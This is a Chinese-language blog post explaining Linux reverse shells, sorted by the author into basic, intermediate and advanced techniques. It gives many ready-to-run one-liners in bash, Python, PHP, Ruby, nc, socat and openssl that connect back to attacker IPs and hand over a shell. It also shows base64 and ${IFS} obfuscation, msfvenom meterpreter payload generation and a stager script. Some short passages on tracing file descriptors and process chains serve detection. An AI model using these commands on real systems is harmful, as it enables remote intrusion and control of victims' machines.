Linux系统下反弹shell

之前研究过一段时间的反弹shell,所以本文是我个人对反弹shell的理解,当然,本人才疏学浅,如有啥错的地方,各位师傅指出,共同学习一起进步!!!

0x00 定义

受害者由于某种原因主动向攻击者发起连接,攻击者可向受害者下发命令并得到命令执行结果,即为反弹shell。

某种原因,包括但不限于受害机器运行了远控木马(钓鱼邮件附件),存在RCE漏洞等

0x01 本质

网络通信+命令执行+重定向方式

网络通信:可以使用TCP/UDP/ICMP等协议,TCP协议再细分又可以包含HTTP/HTTPS协议等,UDP包含DNS等;

命令执行:调用shell解释器、glibc库、Syscall等方式实现;

重定向:管道、伪终端、内存文件等

0x02 攻击手法

初级

利用系统自带的 shell 进行反弹shell,命令无混淆

  1. 直接把shell的标准输入、输出、错误重定向到socket中(双向)
    bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程

bash

sh -i >& /dev/tcp/172.16.0.104/1234 0>&1

先简单解释一下这个命令的意思

• 0:标准输入、1:标准输出、2:标准错误

• r(可读)、w(可写)、u(可读+可写)

• >&:标准输出+错误

• /dev/tty 终端、/dev/pty 虚拟终端

一开始:

& /dev/tcp/172.16.0.104/1234 之后

0>&1之后

数据流图如下:

通过反弹的端口 1234 去排查shell

这里的shell,除了sh,还有如下:

bash、pwsh、ash、bsh、csh、ksh、zsh、tcsh等

此外,还有很多其他的例子

python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

数据流图如下:

php

php -r '$sock=fsockopen("10.0.11.6",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

中级

这一阶段分成两部分,一个是基于上面命令的混淆,还有一个是引入一个"中转"的机制

  1. 混淆(双向)
    base64编码

echo "sh -i >& /dev/tcp/172.16.0.104/1234 0>&1"|base64

c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo=

{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}

${IFS}代替空格

/bin/bash -c bash I F S − i {IFS}-i IFS−i{IFS}>& 172.16.0.104/1234<&1

  1. 流量加密(双向)

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 172.16.0.104:1234 > /tmp/f

https://www.cnblogs.com/heycomputer/articles/10697865.html

这里主要讨论的是openssl流量的加密,管道在下面会分析

  1. 中转-管道
    所谓"中转",就是shell的标准输入、输出、错误不直接重定向到socket
    中,而是在中间加入一个东西,即管道,然后再由管道连接 socket

不同进程之间通过管道相连接,最后通过多次管道定向至bash的输入输出

Ncat(双向)

ncat 10.0.11.6 1234 -e /bin/bash


双向证明:

mkfifo(双向)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.0.104 1234 > /tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道,由此形成了一个回路

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪fd和进程的关系可以覆盖

mkfifo(双向)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.0.104 1234 > /tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道,由此形成了一个回路

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪fd和进程的关系可以覆盖

如下,假设我们要追查bash -i:

上面查了639226管道,只查到了cat,下面查另一个管道639228,最终查到了nc对应的socket

双向证明:

mknod(双向)

mknod backpipe p; nc 10.0.11.6 1234 0<backpipe | /bin/bash 1>backpipe 2>backpipe

双向证明:

总的来说,0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。

高级

  1. 流量伪装
    https://github.com/krabelize/icmpdoor
    https://github.com/bdamele/icmpsh
    https://github.com/ahhh/Reverse_DNS_Shell

Icmpdoor(单向)

进程链:

  1. 标准输入由代码处理(无落地)(单向)

编程语言实现标准输入中转,重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。

python3 -c "exec("import socket, subprocess;s = socket.socket();s.connect(('10.0.11.6',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())")"

首先建立了一个socket,然后进入死循环。循环里面,启动了一个shell进程,输入由socket控制,输出和误都指向一个管道。命令执行完后,将输出和错误通过socket发送出去

注意:

执行完命令,shell立刻关闭,因此测试的时候,进行了长ping

一执行命令shell就往管道写

查看进程链,执行同样的命令,每次启动的shell都不一样,shell执行完后就关闭了

这里的图片用的是旧的,所以进程id对应不上

单向证明:

还有以下:

python -c "exec("import socket, subprocess;s = socket.socket();s.connect(('172.16.0.104',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.11.6","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

  1. 伪终端 pty

这类的攻击,特征就是shell的基本输入输出错误都重定向到了 /dev/pts,且恶意程序会打开/dev/ptmx,且会有socket外连

socat(双向)

反弹命令

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.6:1234

监听命令

socat file:tty,raw,echo=0 tcp-listen:1234

先从进程入手

再在攻击者上查看当前tty,看是否是/dev/pts/2

Python(双向)

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.11.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


msf-python/meterpreter/reverse_tcp(双向)

控制端

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f raw -o /tmp/mrtp.py

msfconsole

msf5 > use exploit/multi/handler

msf5 > set PAYLOAD python/meterpreter/reverse_tcp

msf5 > set LHOST 10.0.11.6

msf5 > set LPORT 1234

msf5 > run

被控端

python3 mrtp.py

mrtp.py 如下:

import socket

import zlib

import base64

import struct

import time

for x in range(10):

try:

s = socket.socket(2, socket.SOCK_STREAM)

s.connect(('10.0.11.6', 1234))

break

except:

time.sleep(5)

l = struct.unpack('>I', s.recv(4))[0]

d = s.recv(l)

while len(d) < l:

d += s.recv(l - len(d))

exec(zlib.decompress(base64.b64decode(d)), {'s': s})


双向证明:

  1. 非交互式shell-远控木马

  2. 恶意程序负责socket通信,如 msf-meterpreter/reverse_tcp
    恶意程序负责socket通信,同时把命令写到管道1中,shell从管道1中读取命令执行,并把结果写到管道2,恶意程序从管道2中读取数据,通过socket回传给攻击者。

控制端

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f elf -o /tmp/exp

msfconsole

msf5 > use exploit/multi/handler

msf5 > set payload linux/x64/meterpreter/reverse_tcp

msf5 > set LHOST 10.0.11.6

msf5 > set LPORT 1234

msf5 > run

被控端

chmod 777 exp

./exp


  1. 自定义shell

自定义一个shell,不使用系统自带的shell。

以 ls 命令为例子,功能是查看目录中有哪些文件,假如我们不想使用ls命令,那我们有什么办法呢?

那就自己写一个类似功能程序的代码,然后执行就可以了。

以 python shellcode为例子(你也可以写汇编 shellcode):

ls_shellcode = '''

import os

dst_path = '{dst_path}'

dirs = os.listdir(dst_path)

for file in dirs:

print(file)

'''

exec(ls_shellcode.format(dst_path = "C:/"))

输出:

$Recycle.Bin

DocumentsandSettings

Intel

pagefile.sys

PerfLogs

ProgramFiles

...

这样根本不会出现启动系统自带的shell,为了更加隐蔽,还可以把shellcode通过网络传输。

再看现有的解决方案:以 https://github.com/rapid7/mettle 为例子,内置了一些的常用命令

具体代码本人还在研究中。。。

0x03 总结

这是我自己对linux反弹shell的一些理解,也是按照我自己的理解对其进行了分级,分成初中高级。。。可能会存在争论,又或者有一些我不曾知道的手法,欢迎各位师傅一起讨论啊!

相关推荐
小羊Linux客栈1 小时前
自动化:批量文件重命名
运维·人工智能·python·自动化·游戏程序
伤不起bb2 小时前
MySQL 高可用
linux·运维·数据库·mysql·安全·高可用
whgjjim4 小时前
docker迅雷自定义端口号、登录用户名密码
运维·docker·容器
tmacfrank5 小时前
网络编程中的直接内存与零拷贝
java·linux·网络
瀚高PG实验室7 小时前
连接指定数据库时提示not currently accepting connections
运维·数据库
QQ2740287567 小时前
Soundness Gitpod 部署教程
linux·运维·服务器·前端·chrome·web3
淡忘_cx7 小时前
【frp XTCP 穿透配置教程
运维
qwfys2007 小时前
How to configure Linux mint desktop
linux·desktop·configure·mint
南方以南_7 小时前
Ubuntu操作合集
linux·运维·ubuntu
冼紫菜8 小时前
[特殊字符]CentOS 7.6 安装 JDK 11(适配国内服务器环境)
java·linux·服务器·后端·centos